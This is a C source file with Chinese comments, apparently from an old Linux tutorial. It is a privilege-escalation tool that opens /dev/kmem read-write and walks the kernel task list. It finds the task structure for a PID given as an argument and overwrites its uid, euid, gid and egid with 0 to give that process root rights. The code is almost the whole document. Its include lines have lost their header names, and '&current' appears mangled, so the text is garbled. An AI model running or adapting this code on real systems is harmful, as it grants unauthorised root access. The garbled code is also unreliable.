/*注意：我没有实现错误检查*/ 



#include  



#include  



#include  



#include  





/*我们想要改变的任务结构的最大数目*/ 



#define NR_TASKS 512 





/*我们的任务结构-〉我只使用了我们需要的那部分*/ 



struct task_struct { 



char a[108];　　　　　　 /*我们不需要的*/ 



int pid; 



char b[168];　　　　　　 /*我们不需要的*/ 



unsigned short uid,euid,suid,fsuid; 



unsigned short gid,egid,sgid,fsgid; 



char c[700];　　　　　　 /*我们不需要的*/ 



}; 





/*下面是原始的任务结构，

你可以看看还有其他的什么是你可以改变的 



struct task_struct { 



volatile long state; 



long counter; 



long priority; 



unsigned long signal; 



unsigned long blocked; 



unsigned long flags; 



int errno; 



long debugreg[8]; 



struct exec_domain *exec_domain; 



struct linux_binfmt *binfmt; 



struct task_struct *next_task, *prev_task; 



struct task_struct *next_run, *prev_run; 



unsigned long saved_kernel_stack; 



unsigned long kernel_stack_page; 



int exit_code, exit_signal; 



unsigned long personality; 



int dumpable:1; 



int did_exec:1; 



int pid; 



int pgrp; 



int tty_old_pgrp; 



int session; 



int leader; 



int groups[NGROUPS]; 



struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; 



struct wait_queue *wait_chldexit; 



unsigned short uid,euid,suid,fsuid; 



unsigned short gid,egid,sgid,fsgid; 



unsigned long timeout, policy, rt_priority; 



unsigned long it_real_value, it_prof_value, it_virt_value; 



unsigned long it_real_incr, it_prof_incr, it_virt_incr; 



struct timer_list real_timer; 



long utime, stime, cutime, cstime, start_time; 



unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; 



int swappable:1; 



unsigned long swap_address; 



unsigned long old_maj_flt; 



unsigned long dec_flt; 



unsigned long swap_cnt; 



struct rlimit rlim[RLIM_NLIMITS]; 



unsigned short used_math; 



char comm[16]; 



int link_count; 



struct tty_struct *tty; 



struct sem_undo *semundo; 



struct sem_queue *semsleeping; 



struct desc_struct *ldt; 



struct thread_struct tss; 



struct fs_struct *fs; 



struct files_struct *files; 



struct mm_struct *mm; 



struct signal_struct *sig; 



#ifdef __SMP__ 



int processor; 



int last_processor; 



int lock_depth; 



#endif 



}; 



*/ 





int main(int argc, char *argv[]) 



{ 



unsigned long task[NR_TASKS]; 



/*用于特定PID的任务结构*/ 



struct task_struct current; 



int kmemh; 



int i; 



pid_t pid; 



int retval; 





pid = atoi(argv[2]); 





kmemh = open("/dev/kmem", O_RDWR); 





/*找到第一个任务结构的内存地址*/ 



lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); 



read(kmemh, task, sizeof(task)); 





/*遍历知道我们找到我们的任务结构（由PID确定）*/ 



for (i = 0; i < NR_TASKS; i++) 



{ 



lseek(kmemh, task[i], SEEK_SET); 



read(kmemh, ¤t, sizeof(current)); 



/*是我们的进程么*/ 



if (current.pid == pid) 



{ 



/*是的，因此改变UID域。。。。*/ 



current.uid = current.euid = 0; 



current.gid = current.egid = 0; 



/*写回到内存*/ 



lseek(kmemh, task[i], SEEK_SET); 



write(kmemh, ¤t, sizeof(current)); 



printf("Process was found and task structure was modified\n"); 



exit(0); 



} 



} 



}